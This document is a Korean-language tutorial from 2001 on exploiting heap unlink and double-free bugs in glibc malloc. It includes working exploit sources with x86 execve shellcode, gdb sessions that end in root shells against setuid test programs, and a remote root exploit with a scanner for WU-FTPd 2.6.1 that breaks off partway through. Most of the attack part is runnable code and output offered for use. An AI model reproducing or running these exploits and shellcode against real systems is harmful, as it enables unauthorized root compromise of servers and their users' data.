반응형
=======================================================================================
  Title: Heap 기반 free() & malloc() exploit 작성하기.
  Author : 유동훈 (Xpl017Elz) in INetCop(c).
  E-mail : szoahc@hotmail.com, xpl017elz@inetcop.org
  Home: http://x82.i21c.net, http://www.inetcop.org
  Date: f. 2001/06/12 s. 2001/06/25
=======================================================================================


  * Contents -

  0x00. How to exploit chunk?
  0x01. Test exploit!
  0x02. Real exploit.기
  0x03. Reference.


P.S: 오래간만에 다시 문서를 작성해봅니다.
      아직 국내에는 Heap 공격에 관한 문서가 활성화 되지 않은 것 같습니다.
      Stack 기반의 문서와는 확연히 차이가 나지요.
      앞으로 대두될 Heap 기반의 취약점에 대해 연구해보도록 하겠습니다.

* 문서의 내용중 오류가 있다면 xpl017elz@inetcop.org로 mail 주시면 감사하겠습니다.


[-------------------------------------------------------------------------------------]

여기서 소개하는 exploit 방법은 한때 제가 연구했던 공격기법입니다.
해외에 Phrack #57/9 "Once upon a free()"라는 문서를 읽어보면 잘 알게 될 것입니다.
이 기법이 본격적으로 issue 된 것은 Synnergy 팀의 dvorak의 traceroute exploit method를
문서에 공개하면서 부터입니다. 

이 공격방법에 제가 관심을 갖게 된 것은 WU-FTPd 2.6.1 Heap 취약점이 처음 발표되었을 때로
거슬러 올라가게 됩니다. 당시 이에 관련된 문서는 Synnergy 팀의 문서와 Phrack의 문서밖에
접할수        없었습니다. 저의 모자란 영어 실력에도 불구하고 문서들을 하나하나씩 해석하며, 
전부 읽었던 때가 떠오르네요 ... ; 그렇게 시간이 흐른뒤 이번년 3월경? Phrack의 문서가
국내 해킹그룹 null@root 팀에서 번역되었다는 사실을 뒤늦게 알게 되었습니다. 
그리고, 얼마전 truefinder님의 문서도 접할수 있었습니다.

당시, 혼자 연구하고 있던 저로써는 매우 반가운 일이었습니다. 
그분들께 감사드립니다. :-)

저 역시 다른분들께 자그마한 지식을 공유하기 위해, 글 하나를 올리도록 하겠습니다.
물론 WU-FTPd가 issue 였을 당시 제가 작성했던 exploit과 traceroute exploit을 첨부하여
올리도록 하겠습니다. 부디 부족하나마 도움이 되길 빕니다.

앞에서 설명 드리는 부분은 이미 여러 문서들을 통해 보았던 내용일 것입니다.
간단하게 설명한 후 넘어가도록 하겠습니다.


0x00. How to exploit chunk?  


exploit이 가능한 취약 환경은 malloc() 함수의 선언 후 free() 함수를 연속적으로 
호출할때 일어날수 있습니다. 이것은 double free() 취약점이라 불리며, 
기존에 개발된 여러 heap 취약점 exploit에서 그 형태를 조금이나마 알 수 있습니다.
먼저, chunk에 대해 배워보도록 하겠습니다.

chunk의 구성은 bins management라는 알고리즘을 사용하고 있습니다.
malloc() 함수를 이용하여 동적 메모리를 구성하면 heap상에 chunk를 선언하게 됩니다.
이 자료구조의 정보는 다음과 같습니다.

- 사용자가 선언한 메모리 크기
- 이전에 선언된 chunk의 정보
- 실제 쓰여지는 메모리 영역
- 구조의 유지를 위해 이중연결 목록 포인터들 (Forward pointer, Back pointer)

char *mem = (char*)malloc(20);
mem은 아래 도식화된 그림의 pointer 입니다.

* malloc() 선언후 -

+-----------------------------+ <- chunk
| 사용중인 이전 chunk의 크기  |           
+-----------------------------+
| chunk의 크기              |P|           
+-----------------------------+ <- mem
| 사용자 자료의 시작 부분     | 
+-----------------------------+
| chunk의 크기                |
+-----------------------------+ <- 다음 chunk

* 사용종료를 위해 free()후 -

+-----------------------------+ <- chunk
| 사용중인 이전 chunk 크기    |
+-----------------------------+
| chunk의 크기              |P| 
+-----------------------------+ <- mem
| 다음을 가리키는 chunk 구조  |
+-----------------------------+> 이중연결 목록구조
| 이전을 가리키는 chunk 구조  |
+-----------------------------+
| 사용되지 않는 공간          |
+-----------------------------+ <- 다음 chunk
| chunk의 크기                |
+-----------------------------+

free() 과정 중 각 chunk를 관리할 때 사용 중이지 않은 이전 chunk나 이후의 chunk에 대해
병합과정을 수행합니다. 이 병합시 이중연결 목록의 각 pointer들이 바뀌는 시점에서
문제가 발생하게 됩니다. 이 내용은 Phrack에 자세히 설명되어 있습니다.

위의 "P"(PREV_INUSE)는 chunk의 사용여부를 표시합니다.
이때 "P" flag가 1로 표시되어 있을 때는 이전 chunk가 사용 중이기 때문에 병합하지 않습니다.
free()가 수행되면, 이전 chunk는 병합하게 될 것입니다.

실제적으로 문제가 되는 부분은 unlink 매크로 부분입니다.
이는 이중연결 목록의 각 이전과 다음 포인터를 바꿉니다.

BK = P -> bk; BK -> fd = FD;
FD = P -> fd; FD -> bk = BK;

Overflow 취약점을 이용하여 우리가 chunk의 수정권한을 가지고 있다면,
가짜 chunk를 작성하여 공격자가 원하는 주소의 영역을 덮을 수 있을 것입니다.
가짜 chunk header의 작성은 간단합니다. 공격자가 작성한 free()가 수행될 수 있도록
다음과 같이 작성할 수 있습니다.

-------------------------------------------------------------------------

[ prev_size ] [ size (P)] [ fd ] [ bk ]

prev_size: 이전 chunk의 크기값.
size  (P): 메모리의 현재 data section 크기.
fd       : 다음을 가리키는 chunk 구조.
bk       : 이전을 가리키는 chunk 구조.

-------------------------------------------------------------------------

공격자는 올바른 공격수행을 위해 prev_size와 size부분의 값을 조건에 맞게 구성합니다.
먼저, 읽혀질 포인터로 병합되기 위해서는 아주 작은 값을 사용해야 합니다.
이때 Null byte를 피하기 위해서 매우 큰 값을 사용하기도 합니다. 만약 공격자가 PREV_INUSE 
값을 우회하는데 성공하면 병합의 과정을 거칠 수 있게 됩니다.

그 다음에는 fd(Forward pointer)와 bk(Back pointer)를 구성해야 합니다.
Forward Pointer는 덮어쓰고자 하는 곳의 12byte를 더한 주소에 특정값을 씁니다.
그러므로 exploit에는 항상 "retloc - 0x0c"의 과정을 거칩니다.

--- * 만들어지는 가짜 chunk exploit의 구조 ------------------------------

[(0xfffffffc), (0xffffffff), (got & .dtors - 0x0c), (&shellcode)]

-------------------------------------------------------------------------

마지막으로 exploit시 주의할 점은 우리가 원하는 shellcode의 주소 다음 8byte 부분에
unlink 매크로에 의해 원하지 않은 주소값이 덮어씌워지게 된다는 사실입니다.

이 때문에 실제 NOP가 존재하는 영역의 address를 Global offset table이나 .dtors entri에
덮어쓴다고 해도 shell이 정상적으로 실행되지 않을 수 있습니다. 그렇기 때문에 기존의
x86 exploit들과는 약간 다른 code를 생성해야 합니다.

구성은 다음과 같을 것입니다.

--- * Retaddr의 8byte후의 내용 파괴를 넘기기 위해 작성한 shellcode -------

"\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"linux x86 shellcode";

-------------------------------------------------------------------------

위의 code는 10byte를 뒤로 jump해 나갑니다.
자, 그럼 실제 환경에서 exploit 해보도록 합시다.


0x01. Test exploit!


지금부터 간단하게 취약한 프로그램을 작성하여 exploit 해볼 것입니다. (*Happy exploit!)

다음은 exploit할 chunk라는 프로그램입니다.

[= source: chunk.c =====================================================]

/* Test-c0de by Xpl017Elz. */

#include <stdio.h>

int main(int argc, char **argv) {

char *x1 = (char*) malloc(100);
char *x2 = (char*) malloc(100);

if(argc < 2) {
     printf("arg\n");
     exit(-1);
}

strcpy(x1, argv[1]);

free(x1);
free(x2);

}

[=======================================================================]

[x82@xpl017elz chunk]$ su
Password:
[root@xpl017elz chunk]# gcc -o chunk chunk.c
[root@xpl017elz chunk]# chmod 6755 chunk
[root@xpl017elz chunk]# ls -al chunk
-rwsr-sr-x   1 root     root        12139 May 23 12:14 chunk
[root@xpl017elz chunk]# exit
exit
[x82@xpl017elz chunk]$

먼저 간단하게 test할 exploit 환경을 만들어 보았습니다.
프로그램은 아주 기본적인 Heap기반의 malloc() & free() 취약점에 노출되어 있습니다.

----------------------------------------------------------------------------

[x82@xpl017elz chunk]$ cp chunk bak
[x82@xpl017elz chunk]$ gdb -q bak
(gdb) r `perl -e 'print "x"x99'`
Starting program: /tmp/chunk/bak `perl -e 'print "x"x99'`

Program exited with code 0100.
(gdb) r `perl -e 'print "x"x100'`
Starting program: /tmp/chunk/bak `perl -e 'print "x"x100'`

Program received signal SIGSEGV, Segmentation fault.
0x40071ee9 in chunk_free (ar_ptr=0x40106040, p=0x8049800) at malloc.c:3047
3047    malloc.c: 그런 파일이나 디렉토리가 없음.
(gdb) where
#0  0x40071ee9 in chunk_free (ar_ptr=0x40106040, p=0x8049800) at malloc.c:
#1  0x40071d75 in __libc_free (mem=0x8049808) at malloc.c:2959
#2  0x80484ff in main ()
#3  0x400311eb in __libc_start_main (main=0x80484a0 <main>, argc=2,
     argv=0xbffffa84, init=0x8048328 <_init>, fini=0x804853c <_fini>,
     rtld_fini=0x4000a610 <_dl_fini>, stack_end=0xbffffa7c)
     at ../sysdeps/generic/libc-start.c:90
(gdb) x/10 0x8049800
0x8049800:      0x00000000      0x00000069      0x78787878      0x78787878
0x8049810:      0x78787878      0x78787878      0x78787878      0x78787878
0x8049820:      0x78787878      0x78787878
(gdb)

----------------------------------------------------------------------------

Segmentation fault가 일어난 것을 볼 수 있습니다.
그렇다면 우리가 앞서 공부한 이론과 같이 exploit을 coding 해봅시다.
이 작업은 매우 민감한 부분입니다. 정확히 segfault 지점을 기억하고,
기타 ... 여러 가지 필요한 정보 사항들을 debugging 하여 알아내야 할 것입니다.
위 프로그램의 exploit은 다음과 같이 작성할 수 있습니다.

[= source: chkxpl.c ====================================================]

/* Test Xploit-c0de by Xpl017Elz. */

#include <stdio.h>

#define DTORS 0x08049584
#define SHELLCODE 0x41414141 
/* testing후, &shellcode 주소로 변경됩니다. */

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() {

     char x0x[200];

     memset(x0x, 0, 200);
     memset(x0x, 0x90, 96); /* 96byte의 내용을 NOP로 채웁니다. */

     memcpy(x0x+38, shellcode, strlen(shellcode)); 
                        /* 이 부분에 shellcode를 집어넣습니다. */

    /* 
    ** 우리가 retloc에 덮어쓴 shellcode + 8byte 주소를
    ** 넘어가기 위해 작성합니다.
    */

    *(long*)&x0x[16] = 0x0ceb0ceb;
    *(long*)&x0x[96] = 0xfffffffc; /* Fake Chunk header. */
    *(long*)&x0x[100] = 0xffffffff;
    *(long*)&x0x[104] = DTORS - 12; // .dtors를 덮어씁니다.
    *(long*)&x0x[108] = SHELLCODE; // &shellcode 주소입니다.

    execl("./bak", "bak", x0x, 0); 
    // 먼저 우리의 bak 프로그램을 test 해보아야 합니다.
/* execl("./chunk", "chunk", x0x, 0); // 취약 프로그램을 exploit. */

}

[=======================================================================]

먼저 testing 해보겠습니다.

----------------------------------------------------------------------------

[x82@xpl017elz chunk]$ gcc -o chkxpl chkxpl.c
[x82@xpl017elz chunk]$
[x82@xpl017elz chunk]$ ./chkxpl
Segmentation fault
[x82@xpl017elz chunk]$ gdb -q chkxpl
(gdb) r
Starting program: /tmp/chunk/chkxpl

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40001780 in _start () at rtld.c:142
142     rtld.c: 그런 파일이나 디렉토리가 없음.
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x40071eec in chunk_free (ar_ptr=0x40106040, p=0x8049800) at malloc.c:3047
3047    malloc.c: 그런 파일이나 디렉토리가 없음.
(gdb) x/10 0x08049584
0x8049584 <p.2>:        0x41414141      0x080495b8      0x400126b0     ...
                         ~~~~~~~~~~
0x8049594 <force_to_data+8>:    0x400f78e0      0x4007133c      0x0804838e 
0x80495a4 <shellcode+4>:        0x080483ae      0x080483be
(gdb) x/10 0x8049800
0x8049800:      0x00000000      0x00000069      0x90909090      0x90909090
0x8049810:      0x90909090      0x90909090      0x0ceb0ceb      0x90909090
                                                 ~~~~~~~~~~
0x8049820:      0x90909090      0x90909090
(gdb)
0x8049828:      0x90909090      0x1feb9090      0x0876895e      0x4688c031
0x8049838:      0x0c468907      0xf3890bb0      0x8d084e8d      0x80cd0c56
0x8049848:      0xd889db31      0xe880cd40
(gdb)

----------------------------------------------------------------------------

역시 예상대로 .dtors의 내용을 우리가 원하는 값인 0x41414141로 덮어쓰는데
성공했습니다. 뿐만 아니라 0x0ceb0ceb의 주소값도 알아낼 수 있었습니다.
0x8049818에 존재하고 있는 것을 알 수 있습니다. 

작성된 exploit에 &shellcode 값(0x41414141)의 내용을 앞서 구한 0x08049818
주소값으로 변경합니다. 그리고 실제 "./chunk" 프로그램을 실행하기 위해 주석을
지우고 컴파일합니다.

----------------------------------------------------------------------------

[x82@xpl017elz chunk]$ gcc -o chkxpl chkxpl.c
[x82@xpl017elz chunk]$ ./chkxpl
bash# whoami
root
bash# id
uid=500(x82) gid=500(x82) euid=0(root) egid=0(root) groups=500(x82)
bash# exit
exit
[x82@xpl017elz chunk]$

----------------------------------------------------------------------------

새로운 "#"-RootShell이 실행되었습니다. :-)
위의 경우는 매우 단순한 Heap 기반의 malloc() & free() exploit 입니다.
Heap 기반의 malloc() & free() 취약점이 존재하는 프로그램은 상당수 존재합니다.
이미 취약점이 발표되었던 프로그램을 직접 찾아 exploit 해보는 것도,
연구에 매우 많은 도움이 될 것입니다.

이번엔, Wargame 문제중 ...
아주 재미있는 Heap 기반의 공격 Source Code를 exploit 해보도록 합시다.

[= source: bof.c =======================================================]

/* omg stop the insanity! */

#define BUF 514
#include <stdio.h>

int main() {

char *ptr = (char *)malloc(BUF);
char *ptr2 = (char *)malloc(15);

printf("crypt() a pass\n");
printf("Key: ");

fgets(ptr2,15,stdin);

printf("Pass: ");
sec_get(ptr);
printf("crypted pass: %s\n",crypt(ptr,ptr2));

free(ptr2);
free(ptr);

}

int sec_get(char *buf) {

int i = 0;
char stuff[1024];

fgets(stuff,sizeof(stuff),stdin);
for(i=1;stuff[i] != ' ';i++);

if (i <= BUF) {

strcpy(buf,stuff);

} else {

printf("*bounds checking kicks you in the ass\n");
exit(-1);

}
}

[=======================================================================]

[x82@xpl017elz chunk]$ su
Password:
[root@xpl017elz chunk]# gcc -o bof bof.c
ch/tmp/ccHOeZtH.o: In function `main':
/tmp/ccHOeZtH.o(.text+0x77): undefined reference to `crypt'
collect2: ld returned 1 exit status
[root@xpl017elz chunk]# gcc -o bof bof.c -lcrypt
[root@xpl017elz chunk]# chown 6755 bof
[root@xpl017elz chunk]# exit
exit
[x82@xpl017elz chunk]$
[x82@xpl017elz chunk]$ ./bof
crypt() a pass
Key: AA
Pass: PASSWORD
crypted pass: AAcvPvtmBfCNg
[x82@xpl017elz chunk]$

Salt 2byte와 Password를 받아 암호화하는 프로그램입니다.
source code를 읽어보면 아시겠지만 약간의 재미있는 tricking을 구성할 수 있습니다.
여기서 중요한 것은 sec_get() 함수입니다.

함수를 분석해보면 다음과 같습니다.

- 다음 sec_get() 함수에서 ptr을 Overflow 시킬 수 있는 취약점 발생. --------
:
:

int sec_get(char *buf) {

int i = 0;
char stuff[1024];

/*
** 1024byte를 받습니다. 
** 여기서 514byte를 초과하므로 bof가 일어날 수 있습니다.
*/
fgets(stuff,sizeof(stuff),stdin); 
for(i=1;stuff[i] != ' ';i++); /* blank 공간을 찾습니다. */

if (i <= BUF) { 
// blank 공간까지의 값을 514보다 작거나 같은지 조사합니다.

strcpy(buf,stuff); /* 조건이 성립되면, strcpy를 수행합니다. :-) */

} else {

printf("*bounds checking kicks you in the ass\n");
exit(-1);

:
:
---------------------------------------------------------------------------

이 부분에서 중요한 점은 0x20(space key)인 blank값을 조사하여 값을 비교 후 strcpy를
수행한다는 점입니다. 그렇다면, 우리는 다음과 같이 exploit 구조를 생각할 수 있습니다.

[NOP (shellcode), (0x0ceb0ceb x 4), (shellcode), (0x20202020)]
[(0xfffffffc), (0xffffffff), (.dtors - 0x0c), (&shellcode)]

다음과 같이 exploit 합니다.

[= source: bofxpl.c ====================================================]

/* bab0 free Xploit-c0de by Xpl017Elz. */

#include <stdio.h>

#define DTORS 0x080497a4 /* .dtors */
#define SHELLCODE 0x41414141 /* test &shellc0de */

char shellcode[] = /* 12byte jumpc0de + NOP + execve() shellc0de */
        "\xeb\x0c\xeb\x0c\xeb\x0c\xeb\x0c\xeb\x0c\xeb\x0c\xeb\x0c\xeb\x0c"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() {

     char x0x[0x258];
     memset(x0x, 0, 0x258);
     memset(x0x, 0x90, 0x202);

     memcpy(x0x + 0x00c8, shellcode, strlen(shellcode));

     *(long*)&x0x[508] = 0x20202020; /* blank */

     // fake chunk header :-p

     *(long*)&x0x[512] = 0xfffffffc;
     *(long*)&x0x[516] = 0xffffffff;
     *(long*)&x0x[520] = DTORS - 0x0c; /* .dtors - 12 */
     *(long*)&x0x[524] = SHELLCODE; /* &shellc0de */

     printf("x82\n");
     printf("%s", x0x);

}  

[=======================================================================]

위의 exploit을 이용해 debugging 후 shellcode의 위치를 알아냅니다.
그 후 알아낸 code의 위치 및 offset등을 setting 한 뒤 적용해보도록 하겠습니다.

----------------------------------------------------------------------------

[x82@xpl017elz chunk]$ cp bof bak
[x82@xpl017elz chunk]$ gcc -o bofxpl bofxpl.c
[x82@xpl017elz chunk]$ ./bofxpl > test
[x82@xpl017elz chunk]$ gdb -q bak
(gdb) r < test
Starting program: ./bak < test
crypt() a pass
Key: Pass: crypted pass: 삒fXqOlJuC86Q

Program received signal SIGSEGV, Segmentation fault.
0x4009feec in chunk_free (ar_ptr=0x40134040, p=0x8049a38) at malloc.c:3047
3047    malloc.c: 그런 파일이나 디렉토리가 없음.
(gdb) x/10 0x080497a4
0x80497a4 <__DTOR_END__>:       0x41414141      0x080497e4      0x400126b0
                                 ~~~~~~~~~~
0x80497b4 <_GLOBAL_OFFSET_TABLE_+12>:   0x401258e0      0x4009f33c   ...
0x80497c4 <_GLOBAL_OFFSET_TABLE_+28>:   0x4005f0ec      0x40093f4c
(gdb) x/80 $esp-1000
0xbffff674:     0x00000210      0x400a4420      0x4000a610      0xbffffa94
0xbffff684:     0x0804867f      0x08049a40      0xbffff690      0x90909090
0xbffff694:     0x90909090      0x90909090      0x90909090      0x90909090
...
0xbffff734:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff744:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff754:     0x90909090      0x0ceb0ceb      0x0ceb0ceb      0x0ceb0ceb
                                 ~~~~~~~~~~
0xbffff764:     0x0ceb0ceb      0x90909090      0x90909090      0x0ceb0ceb
0xbffff774:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff784:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff794:     0x90909090      0x895e1feb      0xc0310876      0x89074688
0xbffff7a4:     0x0bb00c46      0x4e8df389      0x0c568d08      0xdb3180cd
(gdb)  

----------------------------------------------------------------------------
  
.dtors를 0x41414141로 변경하는데 성공하였습니다.
우리가 입력했던 shellcode 안에 12byte jumpcode를 찾았습니다.
0xbffff758 주소에 있는 것을 볼 수 있습니다.
이제 이것을 exploit에 넣어 test 해보겠습니다.

----------------------------------------------------------------------------

[x82@xpl017elz chunk]$ gcc -o bofxpl bofxpl.c
[x82@xpl017elz chunk]$ ./bofxpl > test
[x82@xpl017elz chunk]$ gdb -q bak
(gdb) r < test
Starting program: ./bak < test
crypt() a pass
Key: Pass: crypted pass: 삒fXqOlJuC86Q

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40001780 in _start () at rtld.c:142
142     rtld.c: 그런 파일이나 디렉토리가 없음.
(gdb) c
Continuing.

Program exited normally.
(gdb) q
[x82@xpl017elz chunk]$   

----------------------------------------------------------------------------

Ok, 여러분! 우리의 code를 실행한 준비가 되었나요?? (*Happy exploit!)

----------------------------------------------------------------------------

[x82@xpl017elz chunk]$ (./bofxpl; cat) | ./bof
crypt() a pass

Key: Pass: crypted pass: 삒fXqOlJuC86Q

whoami
root
id
uid=500(x82) gid=500(x82) euid=0(root) egid=0(root) groups=500(x82)
exit

[x82@xpl017elz chunk]$  

----------------------------------------------------------------------------

w0w~ 즐겁군요. setreuid(), setuid() code를 넣어 사용하면, Real uid, gid
권한을 취득할 수 있겠습니다. :-)


0x02. Real exploit.


1) WU-FTPd 2.6.1 exploit.


WU-FTPd는 매우 훌륭한 FTP 서비스 데몬입니다. 각 버전마다 다른 취약점이 존재하지요.
그만큼 WU-FTPd를 많이 사용한다는 말도 됩니다. 우리나라에서는 어떤지 모르지만 ...
어쨌든 지난해 발표된 후, 이번 연초에 제가 작성했던 WU-FTPd exploit을 실어볼까 합니다.
code의 값을 구하고 대입하기 위해서는 약간의 debugging과 노가다가 필요합니다.

즐거운 exploit 시간되시길 바랍니다.

URL - http://wizard.underattack.co.kr/~x82/h0me/c0de/WOOoou~Happy-2.6.1.xplsrc/


--- Makefile ---


#
# It's the Makefile - WOOoou Xploit - Setup.
# 
happy: happy-xpl.c bugfinder.c os-plat.h
        @$(ECHO) $(CC) -o happy-xpl happy-xpl.c
        @$(ECHO) $(CC) -o bugfinder bugfinder.c
clean:
        @$(ECHO) rm -f happy-xpl bugfinder
#
# How to Make: bash$ make happy
#


--- bugfinder.c ---


/*
**
** - Auto BugFinder - exploit.
**
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>. 
** My World: http://x82.i21c.net
**
*/

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <errno.h> 
#include <netdb.h>
#include <netinet/in.h>
#include "os-plat.h"

main(int argc, char *argv[]) {

int    sockfd, num, num_, type = 0;
char                    host[0x82],
                        user[0x82],
                        pass[0x82],
                    read_buf[1024], 
                     strcode[1024],
                     execute[1024],
                 version_buf[1024];

struct                 hostent *he;
struct        sockaddr_in x82_addr;
unsigned long gotrs = 0, shell = 0,
                        chunkr = 0;

if(argc < 2) {
    printf("\n Usage: %s [hostname] [platform num] [got] [shellcode] [fakechunk]\n", argv[0]);
    system("cat ./platform.txt");
    exit(0); 
}
if(argc > 2) {
    if(atoi(argv[2]) > 11) {
        printf("\n Error, Platform Type Number: (0~ 11)\n\n");
        exit(0);
    }
    type = atoi(argv[2]);
}
if(argc > 3) {
    gotrs = strtoul(argv[3], NULL, 0);
}
if(argc > 4) {
    shell = strtoul(argv[4], NULL, 0);
}
if(argc > 5) {
    chunkr = strtoul(argv[5], NULL, 0);
}
printf("\n [+] Finding Wu-FTPd Version Bug -\n\n");
{
  strncpy(host, argv[1], 82);
  snprintf(user, 82, "USER anonymous\n"); // anonymous login 확인
  snprintf(pass, 82, "PASS xploit@xploit.x82\n");    // pass 입력
}

  if ((he=gethostbyname(host)) == NULL) 
        { herror("getbyhostname error"); exit(1); }
        
  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
        { perror("socket error"); exit(1); } 

  x82_addr.sin_family = AF_INET;     
  x82_addr.sin_port = htons(21);   
  x82_addr.sin_addr = *((struct in_addr *)he->h_addr);
  bzero(&(x82_addr.sin_zero), 8);     
  if(connect(sockfd, (struct sockaddr *)&x82_addr, sizeof(struct sockaddr)) == -1)
        { perror("connect error"); exit(1); }

memset(read_buf, 0, 1024);
recv(sockfd, read_buf, 1024, 0);
strncpy(version_buf, read_buf, 1024);
{
send(sockfd, user, strlen(user), 0);
memset(read_buf, 0, 1024);
recv(sockfd, read_buf, 1024, 0);
}
{
send(sockfd, pass, strlen(pass), 0);
memset(read_buf, 0, 1024);
recv(sockfd, read_buf, 1024, 0);
if(strstr(read_buf, "530") !=0) { // login 에러
     printf(" * Ooops, Ftpd login Error (Check! ID & Passwd)\n\n");
     close(sockfd);
     exit(0);
}}
{ 
memset(read_buf, 0, 1024);
memset(strcode,  0 ,1024);
}
sprintf(strcode,"list ~{\n");
{
send(sockfd, strcode, strlen(strcode), 0);
memset(read_buf, 0, 1024);
recv(sockfd, read_buf, 1024, 0);
close(sockfd);
}
if(strstr(read_buf, "550 Missing }") !=0) { // 취약하지 않음
  printf(" * Not Vulnerable ! :-(\n\n");
  exit(0);
}
if(gotrs > 0) {
     printf(" * OK, Finded Bug\n * Execute exploit.\n\n"); // 취약
     sprintf(execute,
             "(./happy-xpl -r %p -s %p -p %p; cat) | `which nc` %s 21",
             gotrs, shell, chunkr, argv[1]); // exploit 구동
     system(execute);
     exit(0);
} // platform type 선별방식
gotrs = plat[type].gotr;
shell = plat[type].shaddr;
chunkr = plat[type].pointr;
     printf(" * OK, Finded Bug\n * Execute exploit, Type Method.\n\n");
     sprintf(execute,
             "(./happy-xpl -t %d; cat) | `which nc` %s 21",
             plat[type].num, argv[1]); // exploit 구동
     system(execute);
     exit(0);
}


--- happy-xpl.c ---


/*
**
** ==================================================================== **
**  WOOoou-FTPd Remote root exploit for x86 RedHat Linux
** ==================================================================== **
**
** ** USE IT AT YOUR OWN RISK! **
**
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net
**
*/

#include <stdio.h> 
#include <string.h>
#include "os-plat.h"

#define POINT     0x8282bab0                /* 기본 가짜 청크 위치 */
#define CODE      0x82828282                /* 기본 shellcode 위치 */
#define GOTR      0x8282bab0        /* 기본 GlobalOffsetTable 위치 */
#define USER      "USER anonymous"                /* 기본 Username */
#define PASS      "PASS none@xploit.x82x82x82x82" /* 기본 Password */

unsigned char shellcode[] = /********* NOP "incl %eax" **********/
"@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
/********** chroot-break/execve shellcode by zen-parse **********/
"\x55\x89\xe5\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\xb0\x2e\xcd"
"\x80\xeb\x43\x5e\xb0\x27\x8d\x5e\x09\xb1\xed\xcd\x80\x31\xc9\x31"
"\xc0\xb0\x3d\xcd\x80\xba\x2e\x2e\x2f\xff\x8d\x5d\x04\xb1\x10\x89"
"\x55\x04\x83\xc5\x03\xe0\xf8\x89\x4d\x04\xb0\x3d\xcd\x80\x89\xf3"
"\x89\x75\x08\x89\x4d\x0c\xb0\x0b\x8d\x4d\x08\x8d\x55\x0c\xcd\x80"
"\x31\xc0\xb0\x01\xcd\x80\xe8\xb8\xff\xff\xff\x2f\x2f\x2f\x2f"
"/bin/su"; /* realroot :-) */

main(int argc, char *argv[]) {

   char         username[0x82] = USER,
                password[0x82] = PASS,
                        command[0x82];
                        char     *x0x;

   unsigned long gotr    =  GOTR - 12;
   int    chanx, num_0 = 0, num_1 = 0,
                             type = 0;

   char                 strcode[1024],
                     atexec[1024 * 5], 
                   maincode[1024 * 4];
   extern                char *optarg;

   unsigned long shelladdr    =  CODE;
   unsigned long pointr       = POINT;

   bzero(&atexec, 1024 * 5);
   bzero(&strcode, 1024);
   bzero(&maincode,1024 * 4);

   /********************** setting ***********************/
   // type 설정
   shelladdr = plat[type].shaddr;
   gotr   = plat[type].gotr - 12;
   pointr    = plat[type].pointr;  

   while((chanx = getopt(argc ,argv, "t:s:r:p:")) != EOF) {
   switch(chanx) {

   case 't':  type = atoi(optarg);
              if(type > 11) {
                 printf("\n Error, Platform Type Number: (0~ 11)\n\n");
                 exit(0);
              }{ // 인수에 의한 type 설정
   shelladdr = plat[type].shaddr;
   gotr   = plat[type].gotr - 12;
   pointr    = plat[type].pointr;
   }                                                break;
   case 's':  shelladdr = strtoul(optarg, NULL, 0); break;
   case 'r':  gotr = strtoul(optarg, NULL, 0) - 12; break;
   case 'p':  pointr = strtoul(optarg, NULL, 0);    break;
   case '?':  usages(argv[0]);                      break; 

   }}

   /****************** Make Fake Chunks ******************/
   // 가짜 청크 제작
   for(num_0 = 0; num_0 < 160; num_0 += 32) {

       strcode[num_0 + 0] = (0xfffffff0 & 0x000000ff) >> 0;
       strcode[num_0 + 1] = (0xffffffff & 0x0000ff00) >> 8;
       strcode[num_0 + 2] = (0xffffffff & 0x00ff0000) >>16;
       strcode[num_0 + 3] = (0xffffffff & 0xff000000) >>24; 
       strcode[num_0 + 4] = (0xfffffffc & 0x000000ff) >> 0;
       strcode[num_0 + 5] = (0xffffffff & 0x0000ff00) >> 8;
       strcode[num_0 + 6] = (0xffffffff & 0x00ff0000) >>16;
       strcode[num_0 + 7] = (0xffffffff & 0xff000000) >>24;
       strcode[num_0 + 8] =       (gotr & 0x000000ff) >> 0;
       strcode[num_0 + 9] =       (gotr & 0x0000ff00) >> 8;
       strcode[num_0 +10] =       (gotr & 0x00ff0000) >>16;
       strcode[num_0 +11] =       (gotr & 0xff000000) >>24; 
       strcode[num_0 +12] =  (shelladdr & 0x000000ff) >> 0;
       strcode[num_0 +13] =  (shelladdr & 0x0000ff00) >> 8;
       strcode[num_0 +14] =  (shelladdr & 0x00ff0000) >>16;
       strcode[num_0 +15] =  (shelladdr & 0xff000000) >>24;
       strcode[num_0 +16] = (0xfffffff0 & 0x000000ff) >> 0;
       strcode[num_0 +17] = (0xffffffff & 0x0000ff00) >> 8;
       strcode[num_0 +18] = (0xffffffff & 0x00ff0000) >>16;
       strcode[num_0 +19] = (0xffffffff & 0xff000000) >>24;
       strcode[num_0 +20] = (0xfffffffc & 0x000000ff) >> 0;
